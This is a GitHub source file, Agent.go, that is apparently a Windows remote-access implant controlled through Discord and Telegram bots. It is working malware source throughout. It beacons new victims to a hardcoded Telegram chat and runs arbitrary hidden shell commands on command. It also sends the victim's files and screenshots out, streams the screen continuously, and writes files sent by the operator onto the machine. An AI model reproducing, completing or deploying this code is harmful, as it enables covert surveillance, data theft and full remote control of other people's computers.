-
Notifications
You must be signed in to change notification settings - Fork 10
/
Agent.go
559 lines (469 loc) · 15 KB
/
Agent.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
// +build windows
package main
import (
"bytes"
"fmt"
"io/ioutil"
"log"
"os"
"os/exec"
"runtime"
"strings"
"time"
"image/jpeg"
"github.com/go-telegram-bot-api/telegram-bot-api"
"github.com/kbinani/screenshot"
"github.com/bwmarrin/discordgo"
"os/signal"
"syscall"
"math/rand"
"strconv"
"net/http"
"encoding/json"
"path/filepath"
"io"
)
const DISCORD_BOT_TOKEN = ""
const BOT_API_KEY = ""
const ANOTHER_DISCORD_CHANNEL_T_ID = ""
var CID int64 =
const screenshotDelay = 2
var sharingScreenshots = false
var stopPolling = false
func messageCreate(s *discordgo.Session, m *discordgo.MessageCreate) {
if m.ChannelID == ANOTHER_DISCORD_CHANNEL_T_ID {
// Process the message...
// Check if the message starts with "!interact "
if strings.HasPrefix(m.Content, "!interact ") {
// Get the ID from the message
idFromMessage := strings.TrimSpace(m.Content[len("!interact "):])
tempPath := os.Getenv("TEMP")
// Read the agent ID from the .id file in the temp folder
agentID, err := ioutil.ReadFile(filepath.Join(tempPath, ".id.txt"))
if err != nil {
fmt.Println("error reading .id file,", err)
return
}
// If the ID from the message is the agent ID, start the Telegram bot
if idFromMessage == strings.TrimSpace(string(agentID)) {
startTelegramBot()
}
}
if strings.HasPrefix(m.Content,"!kill " ){
idFromMessage := strings.TrimSpace(m.Content[len("!kill "):])
tempPath := os.Getenv("TEMP")
// Read the agent ID from the .id file in the temp folder
agentID, err := ioutil.ReadFile(filepath.Join(tempPath, ".id.txt"))
if err != nil {
fmt.Println("error reading .id file,", err)
return
}
// If the ID from the message is the agent ID, start the Telegram bot
if idFromMessage == strings.TrimSpace(string(agentID)) {
s.Close()
os.Exit(0)
}
}
if strings.HasPrefix(m.Content, "!list") {
// Get the ID of agent
botToken := BOT_API_KEY // Replace with your bot token
channelID := CID
tempPath := os.Getenv("TEMP")
// Read the agent ID from the .id file in the temp folder
agentID, err := ioutil.ReadFile(filepath.Join(tempPath, ".id.txt"))
if err != nil {
fmt.Println("error reading .id file,", err)
return
}
println("sent command " + string(agentID))
// Send the ID to the Telegram bot
apiURL := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage?chat_id=%d&text=%s", botToken, channelID, agentID)
resp, err := http.Get(apiURL)
if err != nil {
log.Println("Error sending command:", err)
}
if resp.StatusCode != http.StatusOK {
log.Println("Error sending command, status code:", resp.StatusCode)
bodyBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Fatal(err)
}
bodyString := string(bodyBytes)
log.Println(bodyString)
}
resp.Body.Close()
}
}
}
// func verifyTelegramID(id int) bool {
// return telegramUserID == id
// }
func executeSystemCommand(cmde string) string {
maxMessageLength := 4096
var cmd *exec.Cmd
if runtime.GOOS == "windows" {
cmd = exec.Command("cmd", "/C", cmde)
// +build windows
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
} else {
// +build !windows
cmd = exec.Command("sh", "-c", cmde)
}
// Create buffer to capture output
var output bytes.Buffer
// Set the buffer as Stdout and Stderr of the command
cmd.Stdout = &output
cmd.Stderr = &output
// Start the command
err := cmd.Start()
if err != nil {
errMsg := fmt.Sprintf("Error : %v", err)
return errMsg
}
// Wait for the command to finish
err = cmd.Wait()
if err != nil {
errMsg := fmt.Sprintf("Error : %v", err)
return errMsg
}
// Get the captured output as a string
outputStr := output.String()
// Shorten response if greater than 4096 characters
if len(outputStr) > maxMessageLength {
return outputStr[:maxMessageLength]
}
return outputStr
}
func startTelegramBot() {
bot, err := tgbotapi.NewBotAPI(BOT_API_KEY)
if err != nil {
panic(err)
}
bot.Debug = false
log.Printf("Authorized on account %s", bot.Self.UserName)
u := tgbotapi.NewUpdate(0)
u.Timeout = 60
// msg := tgbotapi.NewMessage(telegramUserID, "Agent is up")
// _, err = bot.Send(msg)
// if err != nil {
// log.Println("Error sending 'user is up' message:", err)
// }
ChannelID := CID
var msg tgbotapi.MessageConfig
msg = tgbotapi.NewMessage(ChannelID, "Agent is up")
_, err = bot.Send(msg)
if err != nil {
log.Println("Error sending 'user is up' message:", err)
}
updates, err := bot.GetUpdatesChan(u)
otherChannelID := CID
for update := range updates {
if update.ChannelPost != nil && update.ChannelPost.Chat.ID == otherChannelID {
// Read the message from the update and send it
if update.ChannelPost.Text == "/session" {
tempPath := os.Getenv("TEMP")
// Read the agent ID from the .id file in the temp folder
agentID, err := ioutil.ReadFile(filepath.Join(tempPath, ".id.txt"))
if err != nil {
fmt.Println("error reading .id file,", err)
return
}
msg := tgbotapi.NewMessage(otherChannelID, string(agentID))
_, err = bot.Send(msg)
if err != nil {
log.Println("Error sending 'curent session' message:", err)
}
continue
}
if update.ChannelPost.Document != nil {
document := *update.ChannelPost.Document
fileID := document.FileID
fmt.Printf("\n%s Document: %s", fileID)
fileURL, err := bot.GetFileDirectURL(fileID)
if err != nil {
log.Println("Error getting file URL:", err)
continue
}
fmt.Printf("\n%s Document URL: %s \n", fileURL)
// Download the file
response, err := http.Get(fileURL)
if err != nil {
log.Println("Error downloading file:", err)
continue
}
defer response.Body.Close()
// Create the file in the .loot directory
outFile, err := os.Create(document.FileName)
if err != nil {
log.Println("Error creating file:", err)
continue
}
defer outFile.Close()
// Write the contents of the downloaded file to the new file
_, err = io.Copy(outFile, response.Body)
if err != nil {
log.Println("Error writing to file:", err)
continue
}
msg := tgbotapi.NewMessage(update.ChannelPost.Chat.ID, "file uploaded.")
bot.Send(msg)
}
// result, err := downloadFile(bot, update, filePath)
// if err != nil {
// log.Println("Error downloading file:", err)
// }
// msg := tgbotapi.NewMessage(update.ChannelPost.Chat.ID, result)
// bot.Send(msg)
if update.ChannelPost.Text == "/stop" {
stopPolling = true
msg := tgbotapi.NewMessage(otherChannelID, "Going to sleep")
_, err = bot.Send(msg)
if err != nil {
log.Println("Error sending 'going to sleep' message:", err)
}
bot.StopReceivingUpdates()
break
}
// userID := update.Message.From.ID
message := update.ChannelPost.Text
// if !verifyTelegramID(userID) {
// msg := tgbotapi.NewMessage(update.Message.Chat.ID, "You are not authorized to use this bot.")
// bot.Send(msg)
// continue
// }
if strings.HasPrefix(message, "/cd") {
cmd := strings.TrimSpace(strings.TrimPrefix(message, "/cd"))
result := changeDirectory(cmd)
msg := tgbotapi.NewMessage(update.ChannelPost.Chat.ID, result)
bot.Send(msg)
} else if strings.HasPrefix(message, "/download") {
filePath := strings.TrimSpace(strings.TrimPrefix(message, "/download"))
msg := tgbotapi.NewDocumentUpload(update.ChannelPost.Chat.ID, filePath)
_, err := bot.Send(msg)
if err != nil {
log.Println("Error uploading file:", err)
}
}else if strings.HasPrefix(message, "/services") {
result := listRunningServices()
msg := tgbotapi.NewMessage(update.ChannelPost.Chat.ID, result)
bot.Send(msg)
} else if strings.HasPrefix(message, "/screenshot") {
filePath, err := takeScreenshot()
if err != nil {
log.Println("Error taking screenshot:", err)
continue
}
// Remove the saved screenshot after sending it
msg := tgbotapi.NewPhotoUpload(update.ChannelPost.Chat.ID, filePath)
bot.Send(msg)
os.Remove(filePath)
} else if strings.HasPrefix(message, "/screenshare") {
sharingScreenshots = true
go startScreenSharing(bot, update.ChannelPost.Chat.ID)
} else if strings.HasPrefix(message, "/stopshare") {
sharingScreenshots = false
} else if strings.HasPrefix(message, "/shell") {
// Extract the command from the message
cmdStr := strings.TrimPrefix(message, "/shell ")
// Pass the command to handleAnyCommand
result := handleAnyCommand(cmdStr)
msg := tgbotapi.NewMessage(update.ChannelPost.Chat.ID, result)
bot.Send(msg)
}
}
continue
}
}
func main() {
rand.Seed(time.Now().UnixNano())
var id int
tempPath := os.Getenv("TEMP")
// Check if the .id.txt file exists
if _, err := os.Stat(filepath.Join(tempPath, ".id.txt")); os.IsNotExist(err) {
// The .id.txt file does not exist, create a new ID
id = rand.Int() // Assign a value to id here
err := ioutil.WriteFile(filepath.Join(tempPath, ".id.txt"), []byte(fmt.Sprint(id)), 0644)
if err != nil {
fmt.Println("Error writing to .id.txt file:", err)
return
}
fmt.Println("New ID created:", id)
} else {
// The .id.txt file exists, read the ID from it
idBytes, err := ioutil.ReadFile(filepath.Join(tempPath, ".id.txt"))
if err != nil {
fmt.Println("Error reading from .id.txt file:", err)
return
}
id, err = strconv.Atoi(string(idBytes)) // Assign a value to id here
if err != nil {
fmt.Println("Error converting ID to integer:", err)
return
}
fmt.Println("ID read from .id.txt file:", id)
}
dg, err := discordgo.New("Bot " + DISCORD_BOT_TOKEN)
if err != nil {
fmt.Println("error creating Discord session,", err)
return
}
// Open a websocket connection to Discord and begin listening.
err = dg.Open()
if err != nil {
fmt.Println("error opening connection,", err)
return
}
dg.AddHandler(messageCreate)
_, err = dg.ChannelMessageSend(ANOTHER_DISCORD_CHANNEL_T_ID, fmt.Sprint(id))
if err != nil {
fmt.Println("error sending message to Discord channel,", err)
return
}
url := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage", BOT_API_KEY)
// Create a new Telegram message for the first channel
msg1 := map[string]string{
"chat_id": "7043909573",
"text": "new beacon 🥳: " + fmt.Sprint(id),
}
// Create a new Telegram message for the second channel
msg2 := map[string]string{
"chat_id": strconv.FormatInt(CID, 10),
"text": "new beacon 🥳: " + fmt.Sprint(id),
}
// Convert the messages to JSON
jsonMsg1, err := json.Marshal(msg1)
jsonMsg2, err := json.Marshal(msg2)
if err != nil {
fmt.Println("Error converting message to JSON:", err)
return
}
// Send the message to the Telegram API for the first channel
resp1, err := http.Post(url, "application/json", bytes.NewBuffer(jsonMsg1))
if err != nil {
fmt.Println("Error sending message to Telegram:", err)
return
}
defer resp1.Body.Close()
// Send the message to the Telegram API for the second channel
resp2, err := http.Post(url, "application/json", bytes.NewBuffer(jsonMsg2))
if err != nil {
fmt.Println("Error sending message to Telegram:", err)
return
}
defer resp2.Body.Close()
// Wait here until CTRL-C or other term signal is received.
fmt.Println("Bot is now running. Press CTRL-C to exit.")
sc := make(chan os.Signal, 1)
signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill)
<-sc
dg.Close()
}
func changeDirectory(cmd string) string {
result := ""
if runtime.GOOS == "windows" {
err := os.Chdir(cmd)
if err != nil {
result = fmt.Sprintf("Error changing directory: %v", err)
} else {
result = fmt.Sprintf("Changed directory to %s", cmd)
}
} else {
result = "Command not supported on this platform"
}
return result
}
func downloadFile(bot *tgbotapi.BotAPI, update tgbotapi.Update, filePath string) (string, error) {
if update.Message == nil || update.Message.Document == nil {
return "", fmt.Errorf("no document found")
}
fileID := update.Message.Document.FileID
fileURL, err := bot.GetFileDirectURL(fileID)
if err != nil {
return "", err
}
response, err := http.Get(fileURL)
if err != nil {
return "", err
}
defer response.Body.Close()
fileURLParts := strings.Split(fileURL, "/")
fileName := fileURLParts[len(fileURLParts)-1]
file, err := os.Create(fileName)
if err != nil {
return "", err
}
defer file.Close()
_, err = io.Copy(file, response.Body)
if err != nil {
return "", err
}
return fileName, nil
}
func listRunningServices() string {
result := ""
if runtime.GOOS == "windows" {
result = executeSystemCommand("tasklist")
} else {
result = executeSystemCommand("ps aux")
}
return result
}
func startScreenSharing(bot *tgbotapi.BotAPI, chatID int64) {
var prevMessageID int
for sharingScreenshots {
filePath, err := takeScreenshot()
if err != nil {
log.Println("Error taking screenshot:", err)
continue
}
// Send the new screenshot
msg := tgbotapi.NewPhotoUpload(chatID, filePath)
sentMsg, err := bot.Send(msg)
if err != nil {
log.Println("Error sending screenshot:", err)
os.Remove(filePath)
continue
}
// Delete the previous message if it exists
if prevMessageID != 0 {
deleteMsg := tgbotapi.NewDeleteMessage(chatID, prevMessageID)
_, err := bot.Send(deleteMsg)
if err != nil {
log.Println("Error deleting previous message:", err)
}
}
// Update the previous message ID with the current one
prevMessageID = sentMsg.MessageID
os.Remove(filePath)
time.Sleep(1 * time.Second)
}
}
func takeScreenshot() (string, error) {
n := screenshot.NumActiveDisplays()
for i := 0; i < n; i++ {
bounds := screenshot.GetDisplayBounds(i)
img, err := screenshot.CaptureRect(bounds)
if err != nil {
return "", fmt.Errorf("error capturing screenshot: %w", err)
}
// Encode screenshot to JPEG
var buf bytes.Buffer
err = jpeg.Encode(&buf, img, nil) // Use &buf as io.Writer
if err != nil {
return "", fmt.Errorf("error encoding screenshot: %w", err)
}
// Save screenshot using current timestamp
timestamp := time.Now().Unix()
filePath := fmt.Sprintf("%d.jpg", timestamp)
err = ioutil.WriteFile(filePath, buf.Bytes(), 0644)
if err != nil {
return "", fmt.Errorf("error saving screenshot: %w", err)
}
return filePath, nil
}
return "", fmt.Errorf("no active displays found")
}
func handleAnyCommand(message string) string {
response := executeSystemCommand(message)
return response
}